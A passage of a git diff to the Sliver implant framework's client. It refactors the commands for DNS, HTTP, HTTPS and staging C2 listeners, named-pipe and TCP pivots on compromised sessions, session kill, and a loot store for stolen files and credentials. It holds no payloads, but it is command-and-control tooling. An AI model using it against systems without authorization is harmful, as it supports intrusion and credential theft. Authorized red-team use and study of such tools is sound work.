domain(s) to use for DNS c2") + f.BoolP("no-canaries", "c", false, "disable dns canary detection") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + + // HTTP + httpCmd := &cobra.Command{ + Use: consts.HttpStr, + Short: "Start an HTTP listener", + Long: help.GetHelpFor([]string{consts.HttpStr}), + Run: func(cmd *cobra.Command, args []string) { + HTTPListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("HTTP listener", false, httpCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + f.BoolP("persistent", "p", false, "make persistent across restarts") + f.BoolP("staging", "s", false, "enable staging") + }) + + // HTTPS + httpsCmd := &cobra.Command{ + Use: consts.HttpsStr, + Short: "Start an HTTPS listener", + Long: help.GetHelpFor([]string{consts.HttpsStr}), + Run: func(cmd *cobra.Command, args []string) { + HTTPSListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("HTTPS listener", false, httpsCmd, func(f *pflag.FlagSet) { + f.StringP("domain", "d", "", "limit responses to specific domain") + f.StringP("website", "w", "", "website name (see websites cmd)") + f.StringP("lhost", "L", "", "interface to bind server to") + f.Uint32P("lport", "l", generate.DefaultHTTPSLPort, "tcp listen port") + f.BoolP("disable-otp", "D", false, "disable otp authentication") + f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") + f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + f.BoolP("enable-staging", "s", false, "enable staging") + + f.StringP("cert", "c", "", "PEM encoded certificate file") + f.StringP("key", "k", "", "PEM encoded private key file") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate") + f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints") + + f.BoolP("persistent", "p", false, "make persistent across restarts") + }) + completers.NewFlagCompsFor(httpsCmd, func(comp *carapace.ActionMap) { + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + }) + + // Staging listeners + stageCmd := &cobra.Command{ + Use: consts.StageListenerStr, + Short: "Start a stager listener", + Long: help.GetHelpFor([]string{consts.StageListenerStr}), + Run: func(cmd *cobra.Command, args []string) { + StageListenerCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("stage listener", false, stageCmd, func(f *pflag.FlagSet) { + f.StringP("profile", "p", "", "implant profile name to link with the listener") + f.StringP("url", "u", "", "URL to which the stager will call back to") + f.StringP("cert", "c", "", "path to PEM encoded certificate file (HTTPS only)") + f.StringP("key", "k", "", "path to PEM encoded private key file (HTTPS only)") + f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(stageCmd, func(comp *carapace.ActionMap) { + (*comp)["profile"] = generate.ProfileNameCompleter(con) + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + (*comp)["compress"] = carapace.ActionValues([]string{"zlib", "gzip", "deflate9", "none"}...).Tag("compression formats") + }) + + return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd} +} + +// SliverCommands returns all C2 channels control commands available for an implant target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + namedPipeCmd := &cobra.Command{ + Use: consts.NamedPipeStr, + Short: "Start a named pipe pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + StartNamedPipeListenerCmd(cmd, con, args) + }, + } + flags.Bind("", false, namedPipeCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") + f.BoolP("allow-all", "a", false, "allow all users to connect") + }) + + tcpListenerCmd := &cobra.Command{ + Use: consts.TCPListenerStr, + Short: "Start a TCP pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + StartTCPListenerCmd(cmd, con, args) + }, + } + flags.Bind("", false, tcpListenerCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "remote interface to bind pivot listener") + f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") + }) + + return []*cobra.Command{namedPipeCmd, tcpListenerCmd} +} diff --git a/client/command/jobs/dns.go b/client/command/jobs/dns.go index 7b9d2c41cb..71c8fcde53 100644 --- a/client/command/jobs/dns.go +++ b/client/command/jobs/dns.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// DNSListenerCmd - Start a DNS lisenter -func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// DNSListenerCmd - Start a DNS lisenter. +func DNSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domainsF, _ := cmd.Flags().GetString("domains") domains := strings.Split(domainsF, ",") for index, domain := range domains { @@ -53,7 +53,7 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", dns.JobID) } diff --git a/client/command/jobs/http.go b/client/command/jobs/http.go index 62f3729c01..7a774c6376 100644 --- a/client/command/jobs/http.go +++ b/client/command/jobs/http.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HTTPListenerCmd - Start an HTTP listener -func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HTTPListenerCmd - Start an HTTP listener. +func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") @@ -61,7 +61,7 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args LongPollJitter: int64(longPollJitter), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", http.JobID) } diff --git a/client/command/jobs/https.go b/client/command/jobs/https.go index ff66435c91..c5de5e8a76 100644 --- a/client/command/jobs/https.go +++ b/client/command/jobs/https.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// HTTPSListenerCmd - Start an HTTPS listener -func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// HTTPSListenerCmd - Start an HTTPS listener. +func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { domain, _ := cmd.Flags().GetString("domain") lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") @@ -78,7 +78,7 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", https.JobID) } diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index 3e32134523..80122e7d52 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -25,6 +25,7 @@ import ( "strconv" "strings" + "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -32,12 +33,10 @@ import ( "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" ) -// JobsCmd - Manage server jobs (listeners, etc) -func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// JobsCmd - Manage server jobs (listeners, etc). +func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if pid, _ := cmd.Flags().GetInt32("kill"); pid != -1 { jobKill(uint32(pid), con) } else if all, _ := cmd.Flags().GetBool("kill-all"); all { @@ -45,7 +44,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } else { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Convert to a map @@ -61,10 +60,11 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -// PrintJobs - Prints a list of active jobs -func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) { +// PrintJobs - Prints a list of active jobs. +func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -93,11 +93,15 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) } // JobsIDCompleter completes jobs IDs with descriptions. -func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func JobsIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - return carapace.ActionMessage("No active jobs") + return carapace.ActionMessage("Failed to get server jobs: %s", con.UnwrapServerErr(err)) } results := make([]string, 0) @@ -114,22 +118,22 @@ func JobsIDCompleter(con *console.SliverConsoleClient) carapace.Action { return carapace.ActionCallback(callback) } -func jobKill(jobID uint32, con *console.SliverConsoleClient) { +func jobKill(jobID uint32, con *console.SliverClient) { con.PrintInfof("Killing job #%d ...\n", jobID) jobKill, err := con.Rpc.KillJob(context.Background(), &clientpb.KillJobReq{ ID: jobID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully killed job #%d\n", jobKill.ID) } } -func killAllJobs(con *console.SliverConsoleClient) { +func killAllJobs(con *console.SliverClient) { jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } for _, job := range jobs.Active { diff --git a/client/command/jobs/mtls.go b/client/command/jobs/mtls.go index 2e903dff54..333ad6b4e3 100644 --- a/client/command/jobs/mtls.go +++ b/client/command/jobs/mtls.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// MTLSListenerCmd - Start an mTLS listener -func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MTLSListenerCmd - Start an mTLS listener. +func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lhost, _ := cmd.Flags().GetString("lhost") lport, _ := cmd.Flags().GetUint32("lport") @@ -39,7 +39,7 @@ func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args }) con.Println() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", mtls.JobID) } diff --git a/client/command/jobs/named-pipe.go b/client/command/jobs/named-pipe.go new file mode 100644 index 0000000000..7cbee6066d --- /dev/null +++ b/client/command/jobs/named-pipe.go @@ -0,0 +1,56 @@ +package jobs + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" +) + +// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system. +func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + allowAll, _ := cmd.Flags().GetBool("allow-all") + bind, _ := cmd.Flags().GetString("bind") + + var options []bool + options = append(options, allowAll) + listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ + Type: sliverpb.PivotType_NamedPipe, + BindAddress: bind, + Request: con.ActiveTarget.Request(cmd), + Options: options, + }) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if listener.Response != nil && listener.Response.Err != "" { + con.PrintErrorf("%s\n", listener.Response.Err) + return + } + con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) +} diff --git a/client/command/jobs/stage.go b/client/command/jobs/stage.go index c4999becfa..fa125bb148 100644 --- a/client/command/jobs/stage.go +++ b/client/command/jobs/stage.go @@ -29,16 +29,15 @@ import ( "github.com/spf13/cobra" - "github.com/bishopfox/sliver/util/encoders" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/util" + "github.com/bishopfox/sliver/util/encoders" ) -// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name -func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name. +func StageListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { profileName, _ := cmd.Flags().GetString("profile") listenerURL, _ := cmd.Flags().GetString("url") aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key") @@ -155,7 +154,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error starting TCP staging listener: %v\n", err) + con.PrintErrorf("Error starting TCP staging listener: %v\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID()) diff --git a/client/command/pivots/start.go b/client/command/jobs/tcp.go similarity index 61% rename from client/command/pivots/start.go rename to client/command/jobs/tcp.go index 34658b9eea..7fbb35c519 100644 --- a/client/command/pivots/start.go +++ b/client/command/jobs/tcp.go @@ -1,4 +1,4 @@ -package pivots +package jobs /* Sliver Implant Framework @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StartTCPListenerCmd - Start a TCP pivot listener on the remote system -func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StartTCPListenerCmd - Start a TCP pivot listener on the remote system. +func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -42,7 +42,7 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if listener.Response != nil && listener.Response.Err != "" { @@ -51,31 +51,3 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID) } - -// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system -func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - session := con.ActiveTarget.GetSessionInteractive() - if session == nil { - return - } - allowAll, _ := cmd.Flags().GetBool("allow-all") - bind, _ := cmd.Flags().GetString("bind") - - var options []bool - options = append(options, allowAll) - listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ - Type: sliverpb.PivotType_NamedPipe, - BindAddress: bind, - Request: con.ActiveTarget.Request(cmd), - Options: options, - }) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - if listener.Response != nil && listener.Response.Err != "" { - con.PrintErrorf("%s\n", listener.Response.Err) - return - } - con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) -} diff --git a/client/command/jobs/wg.go b/client/command/jobs/wg.go index ffb4a786ec..4602aa3826 100644 --- a/client/command/jobs/wg.go +++ b/client/command/jobs/wg.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// WGListenerCmd - Start a WireGuard listener -func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WGListenerCmd - Start a WireGuard listener. +func WGListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { lport, _ := cmd.Flags().GetUint32("lport") nport, _ := cmd.Flags().GetUint32("nport") keyExchangePort, _ := cmd.Flags().GetUint32("key-port") @@ -40,7 +40,7 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] KeyPort: keyExchangePort, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } else { con.PrintInfof("Successfully started job #%d\n", wg.JobID) } diff --git a/client/command/kill/commands.go b/client/command/kill/commands.go new file mode 100644 index 0000000000..2128351edc --- /dev/null +++ b/client/command/kill/commands.go @@ -0,0 +1,30 @@ +package kill + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + killCmd := &cobra.Command{ + Use: consts.KillStr, + Short: "Kill a session", + Long: help.GetHelpFor([]string{consts.KillStr}), + Run: func(cmd *cobra.Command, args []string) { + KillCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("use", false, killCmd, func(f *pflag.FlagSet) { + f.BoolP("force", "F", false, "Force kill, does not clean up") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{killCmd} +} diff --git a/client/command/kill/kill.go b/client/command/kill/kill.go index 4c982d855d..a7724187e4 100644 --- a/client/command/kill/kill.go +++ b/client/command/kill/kill.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// KillCmd - Kill the active session (not to be confused with TerminateCmd) -func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// KillCmd - Kill the active session (not to be confused with TerminateCmd). +func KillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() // Confirm with the user, just in case they confused kill with terminate confirm := false @@ -67,7 +67,7 @@ func KillCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string con.PrintErrorf("No active session or beacon\n") } -func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) error { if session == nil { return errors.New("session does not exist") } @@ -81,10 +81,10 @@ func KillSession(session *clientpb.Session, cmd *cobra.Command, con *console.Sli }, Force: force, }) - return err + return con.UnwrapServerErr(err) } -func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.SliverClient) error { if beacon == nil { return errors.New("session does not exist") } @@ -99,5 +99,5 @@ func KillBeacon(beacon *clientpb.Beacon, cmd *cobra.Command, con *console.Sliver }, Force: force, }) - return err + return con.UnwrapServerErr(err) } diff --git a/client/command/licenses/commands.go b/client/command/licenses/commands.go new file mode 100644 index 0000000000..e1ade622e5 --- /dev/null +++ b/client/command/licenses/commands.go @@ -0,0 +1,25 @@ +package licenses + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/client/licenses" +) + +// Commands returns the `licences` command. +func Commands(con *console.SliverClient) []*cobra.Command { + licensesCmd := &cobra.Command{ + Use: consts.LicensesStr, + Short: "Open source licenses", + Long: help.GetHelpFor([]string{consts.LicensesStr}), + Run: func(cmd *cobra.Command, args []string) { + con.Println(licenses.All) + }, + GroupID: consts.GenericHelpGroup, + } + + return []*cobra.Command{licensesCmd} +} diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go new file mode 100644 index 0000000000..dad7e1e7ad --- /dev/null +++ b/client/command/loot/commands.go @@ -0,0 +1,131 @@ +package loot + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + lootCmd := &cobra.Command{ + Use: consts.LootStr, + Short: "Manage the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr}), + Run: func(cmd *cobra.Command, args []string) { + LootCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("loot", true, lootCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("loot", false, lootCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + + lootAddCmd := &cobra.Command{ + Use: consts.LootLocalStr, + Short: "Add a local file to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootLocalStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddLocalCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootAddCmd) + flags.Bind("loot", false, lootAddCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + completers.NewFlagCompsFor(lootAddCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) + }) + carapace.Gen(lootAddCmd).PositionalCompletion( + carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) + + lootRemoteCmd := &cobra.Command{ + Use: consts.LootRemoteStr, + Short: "Add a remote file from the current session to the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.LootRemoteStr}), + Run: func(cmd *cobra.Command, args []string) { + LootAddRemoteCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + } + lootCmd.AddCommand(lootRemoteCmd) + flags.Bind("loot", false, lootRemoteCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "name of this piece of loot") + f.StringP("type", "T", "", "force a specific loot type (file/cred)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text)") + }) + completers.NewFlagCompsFor(lootRemoteCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) + }) + carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) + + lootRenameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Re-name a piece of existing loot", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRenameCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRenameCmd) + + lootFetchCmd := &cobra.Command{ + Use: consts.FetchStr, + Short: "Fetch a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.FetchStr}), + Run: func(cmd *cobra.Command, args []string) { + LootFetchCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootFetchCmd) + flags.Bind("loot", false, lootFetchCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save loot to a local file") + f.StringP("filter", "f", "", "filter based on loot type") + }) + completers.NewFlagCompsFor(lootFetchCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") + (*comp)["filter"] = FileTypeCompleter(con) + }) + + lootRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove a piece of loot from the server's loot store", + Long: help.GetHelpFor([]string{consts.LootStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + LootRmCmd(cmd, con, args) + }, + } + lootCmd.AddCommand(lootRmCmd) + flags.Bind("loot", false, lootRmCmd, func(f *pflag.FlagSet) { + f.StringP("filter", "f", "", "filter based on loot type") + }) + completers.NewFlagCompsFor(lootRmCmd, func(comp *carapace.ActionMap) { + (*comp)["filter"] = LootTypeCompleter(con) + }) + + return []*cobra.Command{lootCmd} +} + +// FileTypeCompleter completes valid filetypes for loot. +func FileTypeCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionValues("binary", "text").Tag("loot file type") +} + +// LootTypeCompleter completes valid loot type for a loot. +func LootTypeCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionValues("file", "cred").Tag("loot type") +} diff --git a/client/command/loot/fetch.go b/client/command/loot/fetch.go index 0688fe0630..e215adb0e2 100644 --- a/client/command/loot/fetch.go +++ b/client/command/loot/fetch.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// LootFetchCmd - Display the contents of or download a piece of loot -func LootFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootFetchCmd - Display the contents of or download a piece of loot. +func LootFetchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { con.PrintErrorf("%s\n", err) @@ -35,7 +35,7 @@ func LootFetchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } loot, err = con.Rpc.LootContent(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } PrintLootFile(loot, con) diff --git a/client/command/loot/helpers.go b/client/command/loot/helpers.go index 36ee5e87a9..c671b0969a 100644 --- a/client/command/loot/helpers.go +++ b/client/command/loot/helpers.go @@ -40,15 +40,15 @@ import ( ) var ( - // ErrInvalidFileType - Invalid file type + // ErrInvalidFileType - Invalid file type. ErrInvalidFileType = errors.New("invalid file type") - // ErrInvalidLootType - Invalid loot type + // ErrInvalidLootType - Invalid loot type. ErrInvalidLootType = errors.New("invalid loot type") - // ErrNoLootFileData - No loot file data + // ErrNoLootFileData - No loot file data. ErrNoLootFileData = errors.New("no loot file data") ) -// AddLootFile - Add a file as loot +// AddLootFile - Add a file as loot. func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data []byte, isCredential bool) error { if len(data) < 1 { return ErrNoLootFileData @@ -73,7 +73,7 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [ return err } -// SelectLoot - Interactive menu for the user to select a piece loot (all types) +// SelectLoot - Interactive menu for the user to select a piece loot (all types). func SelectLoot(cmd *cobra.Command, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) { // Fetch data with optional filter var allLoot *clientpb.AllLoot diff --git a/client/command/loot/local.go b/client/command/loot/local.go index 696cf44301..bbb14a9459 100644 --- a/client/command/loot/local.go +++ b/client/command/loot/local.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// LootAddLocalCmd - Add a local file to the server as loot -func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootAddLocalCmd - Add a local file to the server as loot. +func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { localPath := args[0] if _, err := os.Stat(localPath); os.IsNotExist(err) { con.PrintErrorf("Path '%s' not found\n", localPath) @@ -73,7 +73,7 @@ func LootAddLocalCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } con.PrintInfof("Successfully added loot to server (%s)\n", loot.ID) diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 0fbf41a3c9..4d2080054f 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -37,24 +37,25 @@ import ( "github.com/bishopfox/sliver/util" ) -// 